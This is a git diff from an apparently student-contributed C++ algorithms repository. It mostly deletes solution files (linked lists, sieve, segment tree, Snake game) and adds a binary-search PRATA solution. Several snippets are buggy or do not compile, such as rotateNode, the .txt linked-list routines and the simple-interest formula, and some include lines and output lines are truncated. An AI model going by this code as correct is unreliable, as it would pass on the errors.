1] == p[j - 1] || p[j - 1] == '.'); - } - } - } - return dp[m][n]; - } -}; diff --git a/Add Code Here/C++/Remove Duplicates from sorted and unsorted list.txt b/Add Code Here/C++/Remove Duplicates from sorted and unsorted list.txt deleted file mode 100644 index 0a6d811d56d..00000000000 --- a/Add Code Here/C++/Remove Duplicates from sorted and unsorted list.txt +++ /dev/null @@ -1,50 +0,0 @@ -How to remove duplicates in sorted linked list: -The duplicates in sorted linked are consecutive because it is a sorted linked list. - -void RemoveDuplicates(Node* head){ - -Node*p = head; -Node* q; - -while(p!=null && p->next !=NULL){ - -if(p->data == p->next->data){ -q= p->next->next; -if(q==null){ -p->next=null; -break; -} -p->next= q; -} -if(p->data!=p->next->data){ -p=p->next; -} -}; - ------------------------------------------------------------------------------------------ -Remove Element from unsorted list -void RemoveDuplicate(Node*head){ - -Node*temp, *temp2; -temp=head; - -while(temp!=Null && temp->next !=null) -{ -temp2 = temp; - -// compare the picked elments with rest of the elments - -while(temp2->next!=null) -{ -// if duplicate deleet it -if(temp->data==temp->next->data){ -Node*n = temp2->next; -temp2->next= temp2->next; -n->next=null; -} -else{ -temp2= temp2->next; -} -temp=temp->next; -} -} \ No newline at end of file diff --git a/Add Code Here/C++/Remove Nth Node From End of List.cpp b/Add Code Here/C++/Remove Nth Node From End of List.cpp deleted file mode 100644 index c3003779874..00000000000 --- a/Add Code Here/C++/Remove Nth Node From End of List.cpp +++ /dev/null @@ -1,33 +0,0 @@ -/** - * Definition for singly-linked list. - * struct ListNode { - * int val; - * ListNode *next;. - * ListNode() : val(0), next(nullptr) {} - * ListNode(int x) : val(x), next(nullptr) {} - * ListNode(int x, ListNode *next) : val(x), next(next) {} - * }; - */ -class Solution { -public: - ListNode* removeNthFromEnd(ListNode* head, int n) { - ListNode* ptr1=head; - ListNode* ptr2=head; - while(n>0) - { - ptr2=ptr2->next; - n--; - } - if(ptr2 ==nullptr) - return head->next; - while(ptr2->next!=nullptr) - { - - - ptr2=ptr2->next; - ptr1=ptr1->next; - } - ptr1->next=ptr1->next->next; - return head; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Remove_duplicates_from_sorted_linkedList.cpp b/Add Code Here/C++/Remove_duplicates_from_sorted_linkedList.cpp deleted file mode 100644 index 62e0f831614..00000000000 --- a/Add Code Here/C++/Remove_duplicates_from_sorted_linkedList.cpp +++ /dev/null @@ -1,97 +0,0 @@ -/* C++ Program to remove duplicates from a sorted linked list */ -#include -using namespace std; - -/* Link list node */ -class Node -{ - public: - int data; - Node* next; -}; - -/* The function removes duplicates from a sorted list */ -void removeDuplicates(Node* head) -{ - /* Pointer to traverse the linked list */ - Node* current = head; - - /* Pointer to store the next pointer of a node to be deleted*/ - Node* next_next; - - /* do nothing if the list is empty */ - if (current == NULL) - return; - - /* Traverse the list till last node */ - while (current->next != NULL) - { - /* Compare current node with next node */ - if (current->data == current->next->data) - { - /* The sequence of steps is important*/ - next_next = current->next->next; - free(current->next); - current->next = next_next; - } - else /* This is tricky: only advance if no deletion */ - { - current = current->next; - } - } -} - -/* UTILITY FUNCTIONS */ -/* Function to insert a node at the beginning of the linked list */ -void push(Node** head_ref, int new_data) -{ - /* allocate node */ - Node* new_node = new Node(); - - /* put in the data */ - new_node->data = new_data; - - /* link the old list off the new node */ - new_node->next = (*head_ref); - - /* move the head to point to the new node */ - (*head_ref) = new_node; -} - -/* Function to print nodes in a given linked list */ -void printList(Node *node) -{ - while (node!=NULL) - { - cout<<" "<data; - node = node->next; - } -} - -/* Driver program to test above functions*/ -int main() -{ - /* Start with the empty list */ - Node* head = NULL; - - /* Let us create a sorted linked list to test the functions - Created linked list will be 11->11->11->13->13->20 */ - push(&head, 20); - push(&head, 13); - push(&head, 13); - push(&head, 11); - push(&head, 11); - push(&head, 11); - - cout<<"Linked list before duplicate removal "; - printList(head); - - /* Remove duplicates from linked list */ - removeDuplicates(head); - - cout<<"\nLinked list after duplicate removal "; - printList(head); - - return 0; -} - \ No newline at end of file diff --git a/Add Code Here/C++/Reverse Int.c++ b/Add Code Here/C++/Reverse Int.c++ deleted file mode 100644 index 9df80fc2049..00000000000 --- a/Add Code Here/C++/Reverse Int.c++ +++ /dev/null @@ -1,33 +0,0 @@ -// Reverse Integer - -#include - -using namespace std; - -int reverse(int x) -{ - long long f = 1; - if (x < 0) - f = -1; - x *= f; - long long ans = 0; - while (x) - { - int tem = x % 10; - ans = ans * 10 + tem; - x /= 10; - } - ans *= f; - if (ans > INT_MAX || ans < INT_MIN) - return 0; - return ans; -} - -int main() -{ - int n; - cin >> n; - int reversed = reverse(n); - cout << reversed << endl; - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Reverse a linkedlist in group of given size.txt b/Add Code Here/C++/Reverse a linkedlist in group of given size.txt deleted file mode 100644 index 052e1e0cff0..00000000000 --- a/Add Code Here/C++/Reverse a linkedlist in group of given size.txt +++ /dev/null @@ -1,32 +0,0 @@ -Reversing a linked list in group of given size: -The main aim of this program is that what number we enter it will divide the whole linked list to that number and it will reverse it -Example: -if we enter 3 it will divide whole linked list into three three parts and it will revers is like below - -key = 3; -1 2 3 4 5 6 7 8 9 -3 2 1 6 5 4 9 8 7 - - -Node* reverse(Node* head, int k){ - -Node* next; -Node* prev= Null; -int c=0; - -Node*current = head; -while(current!=Null && cnext; -current->next=prev; -prev=current; -current=next; -c++; -} - -if(next!=Null){ -head->next = reverse(next, k); - -return prev; - -} \ No newline at end of file diff --git a/Add Code Here/C++/Reverse singly linked list.txt b/Add Code Here/C++/Reverse singly linked list.txt deleted file mode 100644 index 29a2c297362..00000000000 --- a/Add Code Here/C++/Reverse singly linked list.txt +++ /dev/null @@ -1,79 +0,0 @@ -#include -using namespace std; - -class Node{ - public: - int data; - Node* next; - - Node(int val){ - data= val; - next=NULL; - } -}; - - - void insetAtTail(Node* &head, int val){ - - - Node* n = new Node(val); - if(head==NULL){ - head =n; - return; - } - Node* temp = head; - while(temp->next!=NULL){ - temp=temp->next; - } - temp->next = n; - - } -void display(Node*head){ - Node* temp =head; - while(temp!=NULL){ - cout<data <<"-> "; - temp=temp->next; - } - cout<<"NULL"<next; -// currptr->next= preptr; - -// preptr=currptr; -// currptr=nextptr; -// } -// return preptr; -// } - - -Node* reverseRescursive(Node* &head){ - if(head==NULL || head->next ==NULL){ - return head; - } - Node* newhead = reverseRescursive(head->next); - head->next->next=head; - head->next=NULL; - - - return newhead; -} - - - -int main(){ - Node* head =NULL; - insetAtTail(head, 1); - insetAtTail(head, 2); - display(head); - Node* newhead= reverseRescursive(head); - display(newhead); - - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/ReverseLLinkthorder.cpp b/Add Code Here/C++/ReverseLLinkthorder.cpp deleted file mode 100644 index b5f179da972..00000000000 --- a/Add Code Here/C++/ReverseLLinkthorder.cpp +++ /dev/null @@ -1,138 +0,0 @@ - -#include -#include -using namespace std; - -/////// IMPLEMENTATION OF LINKED LIST //////////////////////////// -class node -{ -public: - int data; - node *next; /// pointer of node is to be formed - - // constructor function - node(int data) - { - this->data = data; - this->next = NULL; - } -}; - -// INSERTION AT HEAD -void insertAthead(node *&head, int d) -{ - // new node created - node *temp = new node(d); - temp->next = head; - head = temp; -} - -// INSERTION AT TAIL OR END:::: -void insertAttail(node *&tail, int d) -{ - node *temp = new node(d); - tail->next = temp; - tail = temp; -} - -///// INSERTION AT GIVEN INDEXXX ::::::::::::::::: -void insertAtpostion(node *tail, node *&head, int position, int d) -{ - if (position == 1) - { - insertAthead(head, d); - return; - } - node *temp = head; - int cnt = 1; - while (cnt < position - 1) - { - temp = temp->next; - cnt++; - } - // creating node for d - node *nodetoinsert = new node(d); - nodetoinsert->next = temp->next; - temp->next = nodetoinsert; - cout << "head = " << head->data << endl; - cout << "Tail = " << head->data << endl; -} - -//// REVERSE LL IN KTH GRP //// - -/// here we are using recursion to solve this -node *reverseKthGRP(node *&head, int k) -{ - // base casee - if (head == NULL) - { - return NULL; - } - // step 1 : reverse the first k nodes of ll - node *next = NULL; - node *curr = head; - node *prev = NULL; - int count = 0; - while (curr != NULL && count < k) - { - next = curr->next; - curr->next = prev; - prev = curr; - curr = next; - count++; - } - - // STEP 2 : RECURSION DEKLEGA AB - if (next != NULL) - { - head->next = reverseKthGRP(next, k); - } - /// STEP 3 : RETURN HEAD OF REVERSED LL - return prev; -} - -// print node -void print(node *&head) -{ - node *temp = head; - while (temp != NULL) - { - cout << temp->data << " "; - temp = temp->next; - } - cout << endl; -} - -int main() -{ - - node *node1 = new node(60); // new node node 1 - - // head pointed to node1 - node *head = node1; - // tail pointed to node1 - // for single node posityion of tail and head is same - node *tail = node1; - - // This and -> is used because it stores the address of data and next node - - // insertion prosecss at head : - insertAthead(head, 50); - - insertAthead(head, 40); - insertAthead(head, 30); - insertAthead(head, 20); - insertAthead(head, 10); - print(head); - - /// Kth revers - int k; - cout << "Kth ORDER : "; - cin >> k; - head = reverseKthGRP(head, k); - - cout << "\nReversed Linked list \n"; - print(head); - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Reverse_a_Linked_List_in_Kth_groups .cpp b/Add Code Here/C++/Reverse_a_Linked_List_in_Kth_groups .cpp deleted file mode 100644 index 097f0dcf2b0..00000000000 --- a/Add Code Here/C++/Reverse_a_Linked_List_in_Kth_groups .cpp +++ /dev/null @@ -1,99 +0,0 @@ -// CPP program to reverse a linked list -// in groups of given size -#include -using namespace std; - -/* Link list node */ -class Node { -public: - int data; - Node* next; -}; - -/* Reverses the linked list in groups -of size k and returns the pointer -to the new head node. */ -Node* reverse(Node* head, int k) -{ - // base case - if (!head) - return NULL; - Node* current = head; - Node* next = NULL; - Node* prev = NULL; - int count = 0; - - /*reverse first k nodes of the linked list */ - while (current != NULL && count < k) { - next = current->next; - current->next = prev; - prev = current; - current = next; - count++; - } - - /* next is now a pointer to (k+1)th node - Recursively call for the list starting from current. - And make rest of the list as next of first node */ - if (next != NULL) - head->next = reverse(next, k); - - /* prev is new head of the input list */ - return prev; -} - -/* UTILITY FUNCTIONS */ -/* Function to push a node */ -void push(Node** head_ref, int new_data) -{ - /* allocate node */ - Node* new_node = new Node(); - - /* put in the data */ - new_node->data = new_data; - - /* link the old list off the new node */ - new_node->next = (*head_ref); - - /* move the head to point to the new node */ - (*head_ref) = new_node; -} - -/* Function to print linked list */ -void printList(Node* node) -{ - while (node != NULL) { - cout << node->data << " "; - node = node->next; - } -} - -/* Driver code*/ -int main() -{ - /* Start with the empty list */ - Node* head = NULL; - - /* Created Linked list - is 1->2->3->4->5->6->7->8->9 */ - push(&head, 9); - push(&head, 8); - push(&head, 7); - push(&head, 6); - push(&head, 5); - push(&head, 4); - push(&head, 3); - push(&head, 2); - push(&head, 1); - - cout << "Given linked list \n"; - printList(head); - head = reverse(head, 3); - - cout << "\nReversed Linked list \n"; - printList(head); - - return (0); -} - -// This code is contributed by @debjitpurohit diff --git a/Add Code Here/C++/RomanToInteger.cpp b/Add Code Here/C++/RomanToInteger.cpp deleted file mode 100644 index 2f7b099ed85..00000000000 --- a/Add Code Here/C++/RomanToInteger.cpp +++ /dev/null @@ -1,60 +0,0 @@ -#include -using namespace std; - -int main(){ - int arr[7] = {1, 5, 10, 50, 100, 500, 1000}; - string s = "CM"; - int n = s.length(); - int sum = 0; - for(int i = 0; n>i; i++){ - if(s[i]=='I' and s[i+1]=='V'){ - sum = sum + 4; - i++; - } - else if(s[i]=='I' and s[i+1]=='X'){ - sum = sum + 9; - i++; - } - else if(s[i]=='X' and s[i+1]=='L'){ - sum = sum + 40; - i++; - } - else if(s[i]=='X' and s[i+1]=='C'){ - sum = sum + 90; - i++; - } - else if(s[i]=='C' and s[i+1]=='D'){ - sum = sum + 400; - i++; - } - else if(s[i]=='C' and s[i+1]=='M'){ - sum = sum + 900; - i++; - } - else if(s[i]=='I'){ - sum = sum + arr[0]; - } - else if(s[i]=='V'){ - sum = sum + arr[1]; - } - else if(s[i]=='X'){ - sum = sum + arr[2]; - } - else if(s[i]=='L'){ - sum = sum + arr[3]; - } - else if(s[i]=='C'){ - sum = sum + arr[4]; - } - else if(s[i]=='D'){ - sum = sum + arr[5]; - } - else if(s[i]=='M'){ - sum = sum + arr[6]; - } - } - - cout< -using namespace std; - - - // } Driver Code Ends -class Solution{ - public: - - //Function to rotate an array by d elements in counter-clockwise direction. - void arrreverse(int arr[], int s, int e) - { - while (s < e) - { - int temp = arr[s]; - arr[s] = arr[e]; - arr[e] = temp; - s++; - e--; - } - } - void rotateArr(int arr[], int d, int n){ - if (n!=0) - { - d=d%n; - arrreverse(arr,0,d-1); - arrreverse(arr,d,n-1); - arrreverse(arr,0,n-1); - - } - // code here - } -}; - - -int main() { - int t; - cin >> t; - - while(t--){ - int n, d; - - cin >> n >> d; - - int arr[n]; - - for(int i = 0; i < n; i++){ - cin >> arr[i]; - } - Solution ob; - - ob.rotateArr(arr, d,n); - - - for(int i =0;i -using namespace std; - -// 1. we will traverse till the entered node and the entered Node of next is going to be NULL -// 2. we will traverse til another part of the node and initailize the last node with head; -void rotateNode(Node*head, Node* r){ - Node*p, *q, *newhead; - p=head; - - while(p!=NULL){ - break; - p=p->next; - } - newhead=p->next; - p->next=NULL; - q= newhead; - - while(q->next!=NULL){ - q=q->next; - q->next=head; - - return newhead; - } -} -int main(){ - - - - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Roti-pratha.cpp b/Add Code Here/C++/Roti-pratha.cpp new file mode 100644 index 00000000000..106bc9c7dc0 --- /dev/null +++ b/Add Code Here/C++/Roti-pratha.cpp @@ -0,0 +1,77 @@ +// https://www.spoj.com/problems/PRATA/ +/* + This problem uses binary search approach , as answer is monotonic function . ( of true and false on time ). + By applying binary search on time , we get the answer. +*/ +#include + +using namespace std; + +bool isPossible(int p, int cook[], int n, int mid) +{ + + int cnt = 0; + for (int i = 0; i < n; i++) + { + // for each cook count the pratas + int c = 0; + int time = mid; + int perpratas = cook[i]; // time taken to cook each pratas by ith cook + while (time > 0) + { + time = time - perpratas; + if (time >= 0) + { + c += 1; + perpratas += cook[i]; + } + } + cnt += c; + if (cnt >= p) + return true; + } + + return false; +} + +int minTime(int p, int cook[], int n) +{ + int s = 0, e = 10000007; + int mid, ans = -1; + + while (s <= e) + { + mid = (s + e) / 2; + if (isPossible(p, cook, n, mid)) + { + ans = mid; + e = mid - 1; + } + else + { + s = mid + 1; + } + } + + return ans; +} + +int main() +{ + int t; + cin >> t; + while (t--) + { + int p; + cin >> p; + int n; + cin >> n; + int cook[n]; + for (int i = 0; i < n; i++) + cin >> cook[i]; + + cout << minTime(p, cook, n) << endl; + } + + return 0; +} \ No newline at end of file diff --git a/Add Code Here/C++/Satisfiability of Equality Equations.cpp b/Add Code Here/C++/Satisfiability of Equality Equations.cpp deleted file mode 100644 index 817b0c10ef5..00000000000 --- a/Add Code Here/C++/Satisfiability of Equality Equations.cpp +++ /dev/null @@ -1,57 +0,0 @@ -class Solution { - - vector par; - - char getPar(char a){ - if(par[a]==a) - return a; - return getPar(par[a]); - } - void un(char a,char b){ - - char x= getPar(a); - char y= getPar(b); - - if(x==y) - return ; - - par[y]=a; - - - } - -public: - bool equationsPossible(vector& eq) { - - par.resize(300,-1); - - for(int i=0;i<300;i++) - { - par[i]=(char)i; - } - - - for(auto it: eq){ - if(it[1]=='!') - continue; - - un(it[0],it[3]); - - } - - - for(auto it: eq){ - if(it[1]=='=') - continue; - - if(getPar(it[0])== getPar(it[3])) - return 0; - - } - - return 1; - - - - } -}; diff --git a/Add Code Here/C++/Search in Rotated Sorted Array.cpp b/Add Code Here/C++/Search in Rotated Sorted Array.cpp deleted file mode 100644 index 8aa3ba3772b..00000000000 --- a/Add Code Here/C++/Search in Rotated Sorted Array.cpp +++ /dev/null @@ -1,53 +0,0 @@ -class Solution { -public: - int binarysearch(vector nums, int target, int low, int high) - { - while(low<=high) - { - int mid=low+(high-low)/2; - if(nums[mid]==target) return mid; - else if(nums[mid]>target) high=mid-1; - else low=mid+1; - } - return -1; - } - int pivotindex(vector nums) - { - int n=nums.size(); - int low=0,high=n-1; - while(low<=high) - { - int mid=low+(high-low)/2; - int prev=mid-1; - int next=mid+1; - if(mid==0){ - prev=(mid+n-1)%n; - } - if(mid==n-1){ - next=(mid+1)%n; - } - if(nums[mid]<=nums[next] && nums[mid]<=nums[prev]) return mid; - else if(nums[mid]>=nums[0]) low=mid+1; - else if(nums[mid]<=nums[n-1]) high=mid-1; - } - return -1; - } - - int search(vector& nums, int target) { - - int n=nums.size(); - if(nums[0]=0) return a; - else if(b>=0) return b; - return -1; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Search.cpp b/Add Code Here/C++/Search.cpp deleted file mode 100644 index c18c3487f03..00000000000 --- a/Add Code Here/C++/Search.cpp +++ /dev/null @@ -1,16 +0,0 @@ -#include - -using namespace std; - -int main(){ - int a[]={1,2}; - int n; - cin>>n; - - for (int i=0;i -using namespace std; - -struct SegmentTree{ - int n; - vector t; - - SegmentTree(int n, vector a){ - this->n = n; - t.resize(2 * n); - - for (int i = n; i < 2 * n; i++) - { - t[i] = a[i - n]; - } - } - - void build(){ - for (int i = n - 1; i > 0; --i) - t[i] = t[2 * i] + t[2 * i + 1]; - } - - void modify(int p, int value){ - for (t[p += n] = value; p > 1; p /= 2) - t[p / 2] = t[p] + t[p ^ 1]; - } - - int query(int l, int r){ - r++; - int res = 0; - for (l += n, r += n; l < r; l /= 2, r /= 2) - { - if (l & 1) - res += t[l++]; - if (r & 1) - res += t[--r]; - } - return res; - } -}; - -int32_t main(){ - - int n; - cin >> n; - vector v(n) ; - - for(int i=0; i> v[i]; - - struct SegmentTree S(n,v); - S.build(); - /* - - Here you can use modify operation on array v by : S.modify(index, new value) - Also you can use query operation on array v by : S.query( starting index, endng index ); - Note that indexing is zero-based. - - Example : - S.modify(2,5); - cout << S.query(0,3); - - */ - return 0; -} diff --git a/Add Code Here/C++/Set in C++ STL.cpp b/Add Code Here/C++/Set in C++ STL.cpp deleted file mode 100644 index 0a38e21a7c9..00000000000 --- a/Add Code Here/C++/Set in C++ STL.cpp +++ /dev/null @@ -1,71 +0,0 @@ -#include -using namespace std; - -int main() { - // Set : Sorted and Unique - // It is not a linear container, the internal structure is stored in tree like container - // Most of the operations take O(log(n)) - set st; - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - st.insert(333); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - st.insert(3); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - st.insert(5); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - st.emplace(7); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - st.emplace(2); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - st.emplace(333); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // Functionality of insert in vector can be used also, that only increases efficiency - - // begin(), end(), rbegin(), rend(), size() - // empty(), and swap() are same as that of vector - - cout << "\n\nfind() in the Set container: \n"; - // Return Iterator - auto it = st.find(333); - cout << "*it :" << *it << endl; - // Returns st.end() iterator if the element not founds - if(st.end() == st.find(555)) cout << "Element not Found!!"; - else cout << "Element Found!!"; - cout << endl; - - cout << "st.count(333) : " << st.count(333) << endl; - cout << "st.count(555) : " << st.count(555) << endl; - - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // Erase given value - st.erase(5); // Takes logarithmic Time - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // Erase given iterator - auto to_del = st.find(333); - st.erase(to_del); // Takes Constant Time - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // Erase (CLEAR) Everything - st.clear(); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - cout << "\n\n\n"; - - for(auto &i:{1,2,3,4,5,6,7,8,9,10}) st.insert(i); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // Erase Element In range of : [First, Last] : Via Iterators - auto start = st.find(4); // start : inclusive - auto end = st.find(9); // end : exclusive - st.erase(start, end); - for(auto &i: st) cout << i << ", "; cout << " | SIZE : " << st.size() << endl; - - // TODO : Study upper_bound() and lower_bound() - - auto it_lb = st.lower_bound(3); - auto it_ub = st.upper_bound(9); -} diff --git a/Add Code Here/C++/Sieve of Eratosthenes b/Add Code Here/C++/Sieve of Eratosthenes new file mode 100644 index 00000000000..4320daf6385 --- /dev/null +++ b/Add Code Here/C++/Sieve of Eratosthenes @@ -0,0 +1,35 @@ +#include +#include + +void sieveOfEratosthenes(int n) { + std::vector prime(n + 1, true); + prime[0] = prime[1] = false; + + for (int p = 2; p * p <= n; ++p) { + if (prime[p] == true) { + // Mark all multiples of p as non-prime + for (int i = p * p; i <= n; i += p) { + prime[i] = false; + } + } + } + + // Print prime numbers + std::cout << "Prime numbers up to " << n << " are: "; + for (int p = 2; p <= n; ++p) { + if (prime[p]) { + std::cout << p << " "; + } + } + std::cout << std::endl; +} + +int main() { + int n; + std::cout << "Enter the limit: "; + std::cin >> n; + + sieveOfEratosthenes(n); + + return 0; +} diff --git a/Add Code Here/C++/Sieve of Eratosthenes.cpp b/Add Code Here/C++/Sieve of Eratosthenes.cpp deleted file mode 100644 index 68d3990cadd..00000000000 --- a/Add Code Here/C++/Sieve of Eratosthenes.cpp +++ /dev/null @@ -1,29 +0,0 @@ -#include -using namespace std; - -void sieve(int a, int b){ - vector arr(b,true); - - for(int i=2; i*i<=b; i++) //i*i=n is equal to i=sqrt(n) - { - for(int j=2*i; j>a>>b; - sieve(a,b); - - - return 0; -} diff --git a/Add Code Here/C++/Sieve_algorithm.cpp b/Add Code Here/C++/Sieve_algorithm.cpp deleted file mode 100644 index 642289ed5a1..00000000000 --- a/Add Code Here/C++/Sieve_algorithm.cpp +++ /dev/null @@ -1,31 +0,0 @@ -#include -using namespace std; -#define pb push_back -typedef long long ll; -typedef unsigned long int ull; - -int main() -{ - int n = 1e5 + 10; - vector cp(n, true); - cp[0] = cp[1] = false; - - for (int i = 2; i < n; i++) - { - if (cp[i]) - { - for (int j = i * 2; j < n; j += i) - { - cp[j] = false; - } - } - } - - int num; - cin >> num; - - if (cp[num]) - cout << "prime"; - else if(!cp[num]) - cout << "not prime"; -} \ No newline at end of file diff --git a/Add Code Here/C++/Simple_interest.cpp b/Add Code Here/C++/Simple_interest.cpp deleted file mode 100644 index 02416119701..00000000000 --- a/Add Code Here/C++/Simple_interest.cpp +++ /dev/null @@ -1,36 +0,0 @@ -// WAP to calculate simple earned interest by using objects, classes and access operator (i.e. outside class definition) -#include -using namespace std; - -class SI -{ - private: - int p, n, r, si; - public: - void getDetails(); - void calculate(); -}; - -void SI::getDetails() -{ - cout << "Enter principal: "; - cin >> p; - cout << "Enter number of years: "; - cin >> n; - cout << "Enter rate of interest: "; - cin >> r; -} - -void SI::calculate() -{ - si = p*(1+(r/100)*n); - cout << si; -} - -int main() -{ - SI s; - s.getDetails(); - printf("\nSimple Interest: "); - s.calculate(); -} \ No newline at end of file diff --git a/Add Code Here/C++/Snake Game.cpp b/Add Code Here/C++/Snake Game.cpp deleted file mode 100644 index 1f73defc91f..00000000000 --- a/Add Code Here/C++/Snake Game.cpp +++ /dev/null @@ -1,370 +0,0 @@ -#include -#include -#include -#include -#include -#include -#include -#include -class Snake -{ - int p1,p2,v1,v2,v3,e1,e2,prev,now,n,colr,dsp,cnt,dly,m; - int stp, egGen; - int xr, yr; - void caught(); - public: - long scr; - int strtX,strtY,endX,endY; - int pos[100][2]; - void show(); - void init(); - void egg(); - void transpose(); - void gnrtCond(); - void gnrtUnCond(); - void check(); - void checkEgg(); - void move(); - void chngDir(); - void sndEt(); - void sndCgt(); - int test(); - void score(); - Snake(); - Snake(Snake*); - ~Snake(); - }; -Snake::Snake() - { - } -Snake::~Snake() -{ -} -void Snake::checkEgg() -{ - if((e1 == p1) && (e2 == p2)) - { sndEt(); - egg(); - dly--; - score(); - n++; - } -} -void Snake::sndEt() -{ nosound(); - sound(2500); - delay(2); - nosound(); -} -void Snake::sndCgt() -{ nosound(); - for(int x=1000;x>0;x--) - { sound(x); - delay(1); - } - nosound(); -} -void Snake::score() -{ char *p; - ltoa(scr,p,10); - settextstyle(8,0,1); - setcolor(0); - outtextxy(585,40,p); - if(egGen != 1){ - scr = scr + dly / 10; - } - ltoa(scr,p,10); - setcolor(10); - outtextxy(585,40,p); -} -void Snake::gnrtCond() -{ if(n < 367) - { if(now == 8 && (prev != 8 && prev != 2)) - { pos[0][0] = p1; - pos[0][1] = p2 - dsp; - prev = now; - } - if(now == 4 && (prev != 4 && prev != 1)) - { pos[0][0] = p1 + dsp; - pos[0][1] = p2; - prev = now; - } - if(now == 2 && (prev != 8 && prev != 2)) - { pos[0][0] = p1; - pos[0][1] = p2 + dsp; - prev = now; - } - if(now == 1 && (prev != 1 && prev != 4)) - {pos[0][0] = p1 - dsp; - pos[0][1] = p2; - prev = now; - } -} -} -void Snake::gnrtUnCond() -{ - if( prev == 8 ) - { pos[0][0] = p1; - pos[0][1] = p2 - dsp; - } - if( prev == 4 ) - {pos[0][0] = p1 + dsp; - pos[0][1] = p2; - } - if( prev == 2 ) - { pos[0][0] = p1; - pos[0][1] = p2 + dsp; - } - if( prev == 1 ) - {pos[0][0] = p1 - dsp; - pos[0][1] = p2; - } - p1 = pos[0][0]; - p2 = pos[0][1]; -} -void Snake::check() -{ - if(p1 > endX) - {p1 = strtX;} - else if(p1 < strtX) - { p1 = endX;} - if(p2 > endY) - { p2 = strtY;} - else if(p2 < strtY) - { p2 = endY;} - pos[0][0] = p1; - pos[0][1] = p2; -for(int i = 1;i < n;i++) - { if(p1 == pos[i][0] && p2 == pos[i][1]) - { caught(); - break; - } - } -} -void Snake::show() -{ - int x = getcolor(); - if(egGen != 1) - { - setcolor(getbkcolor()); - setfillstyle(1,getbkcolor()); - fillellipse(v1,v2,yr,yr); - } - else - egGen = 0; - if(egGen == 2) - egGen--; - setcolor(colr); - setfillstyle(1,9); - if(now == 8 || now == 2) - fillellipse(pos[0][0],pos[0][1],xr,yr); - else if(now == 4 || now == 1) - fillellipse(pos[0][0],pos[0][1],yr,xr); - setcolor(x); -} -void Snake::transpose() -{ int i,j,x,y; - p1 = pos[0][0]; - p2 = pos[0][1]; - if(!egGen){ - v1 = pos[n-1][0]; - v2 = pos[n-1][1]; - } - else - egGen = 0; - for(i = n-1;i >= 1;i--) - {pos[i][0] = pos[i-1][0]; - pos[i][1] = pos[i-1][1]; - } -} -void Snake::move() -{ int st = 0; - do{ - if(!kbhit()) - { checkEgg(); - if(!st) - show(); - else - st = 0; - delay(dly/4); - transpose(); - delay(dly/4); - gnrtUnCond(); - delay(dly/4); - check(); - delay(dly/4); - } - else if(stp){ - chngDir(); - gnrtCond(); - check(); - show(); - st = 1; - } - } while(stp); -} -void Snake::init() -{time_t tm; - srand(time(&tm)); - dsp = 20; - n = 5; - prev = 4; - for(int i = 4;i >= 0;i--) - { pos[i][0] = 201 + (n - i - 1) * dsp; - pos[i][1] = 301; - } - strtX = 21; - strtY = 21; - endX = 481; - endY = 361; - colr = 14; - now = prev; - dsp = 20; - stp = 111; - cnt = -1; - scr = 0; - dly = 150; - xr = 3; - yr = 9; - egg(); - egGen = 1; - score(); - int x = getcolor(); - setlinestyle(0,1,3); - setcolor(15); - rectangle(strtX-15,strtY-15,endX+15,endY+15); - rectangle(endX+25,strtY-15,getmaxx()-15,endY+15); - rectangle(strtX-15,endY+25,getmaxx()-15,getmaxy()-5); - line(endX+25,strtY+75,getmaxx()-15,strtY+75); - line(endX+25,strtY+200,getmaxx()-15,strtY+200); - line(endX+25,strtY+275,getmaxx()-15,strtY+275); - setlinestyle(0,1,1); - settextstyle(8,0,1); - setcolor(11); - outtextxy(514,40,"SCORE"); - setcolor(14); - settextstyle(11,0,5); - outtextxy(524,110," CONTROLS "); - outtextxy(522,135,"p = PAUSE"); - outtextxy(522,155,"g = RESUME"); - outtextxy(522,175,"e = EXIT"); - outtextxy(513,195,"ARROWS"); - outtextxy(512,205," -MOVEMENT"); - setcolor(14); - settextstyle(4,0,9); - outtextxy(getmaxx()-500,getmaxy()-110,"SNAKE"); - settextstyle(8,0,1); - setcolor(x); -} -void Snake::caught() -{ - stp = 0; - sndCgt(); -for(int i=0;i<=7;i++) - { if(i%2) - { setcolor(10); - outtextxy(512,250,"GAME OVER"); - delay(900); - } - else - {setcolor(0); - outtextxy(512,250,"GAME OVER"); - delay(500); - } - } -sleep(1); -} -void Snake::chngDir() - { int clr; - fillsettingstype *p; - char x = getch(); - if(x == 72) - now = 8; - else if(x == 77) - now = 4; - else if(x == 80) - now = 2; - else if(x == 75) - now = 1; - else if(x == 'e') - caught(); - else if(x == 'p') - { //int y = getcolor(); - int twnkl = 1; - settextstyle(11,0,9); - while(1) - {if(kbhit()) - { int c = getch(); - if(c == 'g') - { clr = getcolor(); - setcolor(0); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - break; - } - } - else - { if(twnkl%2) - { clr = getcolor(); - setcolor(10); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - setcolor(clr); - delay(1000); - } - else - { - clr = getcolor(); - setcolor(0); - rectangle(endX+40,endY-10,getmaxx()-35,getmaxy()-160); - outtextxy(endX+60,endY-29,"PAUSE"); - delay(1000); - } - } - twnkl++; - } - settextstyle(8,0,1); - } -} -Snake::Snake(Snake *p) -{ - *p=NULL; -} -void Snake::egg() -{ do - { e1 = 